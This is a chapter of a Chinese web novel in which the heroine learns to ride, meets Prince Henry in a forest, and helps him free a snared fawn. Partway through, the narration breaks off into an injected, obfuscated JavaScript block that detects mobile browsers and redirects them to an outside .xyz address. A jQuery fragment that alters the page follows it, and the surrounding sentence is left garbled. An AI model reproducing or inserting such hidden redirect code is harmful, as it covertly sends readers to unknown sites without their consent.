与卢多维克签署下合同后，奥佩莎关上了店门。


    工作间的门依旧开着，里面是几件做好的衣服和道具。她回来时就没看见辛德瑞尔，店里只剩她一人。


    她抚摸着翠柳，不知道辛德瑞尔明天还会不会来店里帮忙，毕竟自己说了那样的话。


    但狩猎会的事情她不会让步。


    如果辛德瑞尔不愿意教她骑马，她就自己去学。骑马而已，她不信自己做不到。


    为了能实时知晓皇室的消息，奥佩莎没有回家休息，在工作间支了个木板床就睡下了。


    店里没有壁炉，也没有被子，半夜时分，她被零下的低温冻醒，她只能多拿几块布料盖在身上，紧紧包裹自己。


    她想起辛德瑞尔赶制低语的那段时间，为了能赶上那些客人的预定日期，他没有回家，也是在工作间支起木板床休息。


    她难以想象辛德瑞尔是怎么在一晚上赶完上百的单子，也无法想象他是怎么在这四处漏风的小房间休息。


    奥佩莎垂眸，睫翼微颤，抱紧了自己。


    或许是他早已习惯，或许是她从不过问。


    无所谓了。


    他最好听进了她的狠话。


    天刚蒙蒙亮时，奥佩莎便起床了。她解下厩栏上的缰绳，牵着艾斯往城郊去——那里有一片人烟稀少的树林，作为练马场正合适。


    她轻拍马颈，待艾斯安静立稳，便开始尝试着爬上马背。她双手抓住马鞍，一只脚费力地踩在马镫上，想要借力翻身上马。可力气不够，试了几次都没能成功。


    她抹了把脸，碎发下的眼睛却更亮了。


    第二次，第三次......连艾斯都有些不耐地甩动鬃毛，她仍咬着唇重复着起跃的动作。


    她用尽全身的力气往上爬，终于跨上了一条腿。还没来得及坐稳，艾斯就开始小步走动起来。奥佩莎一下子慌了神，双手紧紧地抓住缰绳，身体随着马的走动左右摇晃。


    “艾斯！停下！”她大声呼喊想要让艾斯停下来，可艾斯根本不听指挥，仍加快步伐。奥佩莎一个没坐稳，从马背上摔了下来。


    “嘶……”奥佩莎重重地摔在地上，疼得眼泪都要飚飞出来。


    疼死了！她揉着屁股，不甘心地爬了起来。艾斯还在一旁甩着尾巴，奥佩莎捂着屁股，红着眼指向艾斯：“我今天就跟你杠上了！”


    她再次走向艾斯，这次她稍微掌握了些上马的技巧，上马变得丝滑很多，但仍有磕绊。坐稳之后，她拉扯缰绳，想要让艾斯前进。


    艾斯似乎感受到了她的意图，缓缓地向前走去。


    奥佩莎努力地保持着平衡，眼睛紧紧地盯着前方。可没走多远，她又因为一个小颠簸失去了平衡，再次从马背上摔了下来。


    奥佩莎在草地上滚了一圈，手肘重重撞上树干，蹭破了一个口子。她没觉得疼，倔强地再度爬起来，重新翻身上马。


    “再来！”她咬着牙，拉动缰绳，“驾！”


    她无所谓身上青一块紫一块，摔下来就继续起身。她从小就是不服输的人，即使做不到完美，也要尽力做到能力范围内的最好。


    时间一点点过去，艾斯似是被她的坚持软化，不再乱动乱踢，而奥佩莎也慢慢摸出骑马门道，能指挥它拐弯前进。


    夕阳落时，奥佩莎下了马。


    她脚步发沉，却捏紧缰绳。她摸了摸艾斯额头：“明天继续。”艾斯轻嘶，算是应了。


    她踩着橘色的余晖往回走，脚步浸着练习后的轻快。


    高强度训练了几日，奥佩莎总算会些基础的骑术，起码能正常控制马匹前进转弯。


    狩猎前一天，奥佩莎再次牵着艾斯来到树林训练。


    初晨还被晨雾笼罩，灰蒙蒙一片，奥佩莎骑着艾斯慢慢往太阳升起的方向去，熟悉着前几天的心得。


    她等会还要开店，和卢多维克商量画集的事情，来不及吃早饭，索性带了个硬面包边练边啃。


    虽然骑术比之前好，但在复杂的森林里还是不太够用。


    奥佩莎最后还是服从了现实——自己本身属于朽木，能自学成这样已经是超常发挥，不能再奢求什么了。


    她对自己的要求仅仅只是不要再摔下马，毕竟狩猎会那天人多，万一摔下马，又有野兽或拥挤的人群，她一定会被原地踏成肉泥。


    走着走着，艾斯突然停住，耳朵竖得直直的，不时还动弹一下。


    奥佩莎试着让它往前，艾斯岿然不动，大眼睛直直盯着前方的一个灌木丛。


    奥佩莎顺着它的视线看去，那灌木丛小小地抖动了一下，几片没精神的叶子被抖落，轻飘飘掉在地上。


    郊外的树林时常会有野兽出没，奥佩莎顿时警戒起来，调转马头随时准备驾马撤离。


    马头刚调转完，灌木丛便传来动静，一个棕色的小鹿跌跌撞撞地冲出灌木丛，朝她奔来，后腿还挂着两截绳子。


    小鹿显然处于惊慌状态，直接撞向艾斯。


    艾斯被刺激到，前蹄猛地抬起来。奥佩莎赶紧抓住缰绳，以防落马，心脏猛烈跳动。


    “艾斯！”奥佩莎拉扯着缰绳，额上渗出薄薄的细汗，“没事的，不要怕！”


    安抚无效，艾斯还是异常激动，自主奔跑起来。奥佩莎被颠簸的厉害，差点就要被艾斯撞下。


    “别硬拉缰绳！”一个声音突然响起，“松点劲，抚摸它！”


    奥佩莎来不及来头看来者，学着他说的方式松了些力气，伸手去抚摸艾斯的马鬃：“艾斯，安静，没事的。”


    束缚在身上的缰绳变松，艾斯的状态平和了一些，奥佩莎见状，继续安抚艾斯：“好孩子，就是这样，慢下来，没有人会伤害你。”


    艾斯的马蹄渐渐缓慢下来，奥佩莎松了口气，摸了摸它的脑袋，拉着缰绳操控艾斯停步：“好的，艾斯真棒，停在这里就好。”


    身后传来逐渐靠近的马蹄声，奥佩莎迅速将帽子和面纱戴好，回首望向那个好心人，率先低头道谢：“实在感谢。”


    对方的声音很是年轻：“不谢，马儿是很容易受惊的，即便是老手，也很难牵制住受惊的马。越到这个时候，人越容易错误地束紧马儿，这样反而会让它陷入暴动。”


    奥佩莎早些时候听说这片树林住着一户善马的猎户，便道：“看来阁下十分熟悉马儿的性情呢，莫不是在这林子里放过好几年马？我常听人说这片树林里有善于驭马的猎手，连最暴烈的马儿也能轻松驯服。”


    “放马倒是没有，不过——弗尔兰竟还有如此高手吗？”


    嗯？奥佩莎感觉不对。


    不是猎户，哪会是谁？


    当那抹骑着黑马的身影撞进视线时，她差点一哆嗦滚下马去：“亨、亨利王子？”


    那哪是猎户？裁剪笔挺的制服上，皇家徽章正闪的她眼睛发痛。


    可她居然把高贵的王子跟猎户归为一谈？还不下马行礼？


    亨利显然也有些意外，微卷棕发下的眸子亮了亮：“是你？”


    奥佩莎感觉自己太阳穴突突直跳。


    她手指死死攥住缰绳，喉咙发紧，连马都察觉到主人的慌乱，原地转了个小圈。


    “王子恕罪！”奥佩莎迅速下马行礼，差点要给人跪下，“小女真不是轻视皇族！我...我以为您是来打猎的猎户！就想着猎人该不拘这些虚礼...”


    完了。


    彻底完了。


    第二次了，这可是砍头的大罪，而且她还不善马术，哪怕逃跑也会被轻易追上。


    另一边正凌乱着，亨利却抿唇暗笑，故作正经地压低嗓音：“你似乎对我无礼了两次，小姐，你知道这是亵渎皇权之罪吗？”


    他那匹纯黑色的马比艾斯高，压下的阴影像是块灰色的幕布，覆盖奥佩莎的身形。


    从下往上仰望，奥佩莎反而更像是那只落荒而逃的小鹿，成了编织网中的困兽。


    奥佩莎心如死灰，头都不敢抬一下，觉得自己半个身子都入土了。


    她哪能想到王子不去皇家园林，偏来这城郊的小树林里骑马。


    “我、我……”


    “你叫辛德瑞尔对么？”


    奥佩莎的眼珠左右闪烁，应道：“是的。”


    亨利翻身下马，踩着草丛往右边走，边走边说：“请过来一下，辛德瑞尔小姐。”


    奥佩莎不敢怠慢，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834112|172834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    匆匆起身，跟在了亨利的身后。


    亨利拨开一丛灌木，回首对奥佩莎比了个噤声的手势：“嘘，脚步放轻，别惊吓到它。”


    奥佩莎一头雾水，只得点头，刻意放轻步调跟随亨利往前。


    往前走了一段，奥佩莎看到了那只让艾斯受惊的“始作俑者”。


    小鹿蜷缩在一片松软的草地上，伸出粉色的舌头舔舐自己腿上捆紧的麻绳。


    听到有人靠近，小鹿立马竖起耳朵警戒起来，水汪汪的眼睛睁的大大的。


    亨利蹲下身子，与小鹿保持平视水平，慢慢靠近小鹿，嘴里拟着软绵绵的呜咽声，似是在示好。


    小鹿听到亨利发出的友好信号，身体明显放松下来，耳朵也抖了两下表示回应。


    奥佩莎错愕地抬了抬眉——除了辛德瑞尔，她没见过还能和动物沟通的人，更何况，这个人还是高高在上的王子。


    “好了，现在可以过去了。”亨利蹲到小棕鹿旁边，开始解它后腿的绳子，"来搭把手，你解那边。"他头也不抬，"我这只小鹿应该是被猎人套住的。我追了它一路，但它受惊了，一直追不上。"


    奥佩莎一面解绳子，一面盯着他灵巧的双手，好奇发问：“你为什么要救它？”


    亨利的动作不易人察觉地一滞，又很快恢复过来，低声说：“不想下地狱的时候太痛苦，试图做些事情欲盖弥彰。”


    “你可是王子，怎么可能下地狱。”奥佩莎当他是开玩笑，慢慢摇头，“你会被国民抬上王位，受到神的祝福，再被天使接进天堂。”


    亨利避着奥佩莎的视线，惨然一笑：“如果真是那样就好了。”


    “一定会的。”奥佩莎说，“我……有个朋友，她也觉得自己会下地狱，可我觉得只要不是逃避的胆小鬼，就能掌管自己的命运。”


    她终于解开绳结，晃着绳子对亨利笑：“就像这只小鹿，它本该遭受屠宰地狱的索命，却因为它拼了命要活着，所以才遇上你这样心地纯洁善良的人来解救它，对它而言，你就是救赎的神。”


    亨利怔愣住，忍不住偏头看她。


    她说这话时，天光大亮。


    太阳从晨雾的双手中挣脱而出，悬在了纯澈的蓝天上。


    晨光透过树叶的缝隙化为光斑，点点洒落在她的周身，将她用于伪装的黑色面纱都照射的五彩斑斓，如同暗夜中不灭的星辰。


    她依旧把自己裹得严严实实，连眼睛都藏在帽檐下，看不清她眼底的色彩。


    她像是神遗落在尘世中的珍宝，落满灰尘，却遮不住她美的本质。


    明明连长什么样都不知道，甚至那个名字都有可能是假的。


    可亨利还是不可遏制地想要靠近。


    失神之际，他不经意触碰到了对方的指尖。


    一股电流迅速钻进躯壳，麻痹了他的全身。


    “对不起！”


    耳边是奥佩莎急匆匆的道歉，但他却听不太真切，只是觉得触碰到的指腹格外炙烫。


    就像是恶魔被泼洒圣水后，那种腐蚀一般的灼痛。


    “没事。”


    亨利狠心挪开了视线。


    越是这样，他越不能靠近。


    他不配去沾染这样的美好。


    他才是亵渎之人。


    一具臣服黑暗与痛苦，行尸走肉的空洞傀儡，并无资格去触碰神的瑰宝。


    他的右手紧紧握拳。


    与她的余温十指相扣。


    而一旁的树影里，有人静默地站在那个熟悉的老地方。


    无人察觉到他的到来。


    他也不会让人知晓他的存在。


    辛德瑞尔背靠着树站了很久。


    粗粝的树皮磨得他后背生疼，可他连动都懒得动。晨色漫过他的肩，将他的影子在地上拖成一道细长的线，与树的阴影缠作一团。


    昨日的树皮似乎没有那么粗糙。


    他垂下眼，指尖无意识抠着树皮——五指早已鲜血淋漓，木屑深深陷进血肉，他却毫无反应。


    他只是站着，也不知站了多久。


    直到马蹄声散了，他才低头踢开脚边的石子，往相反的方向走去。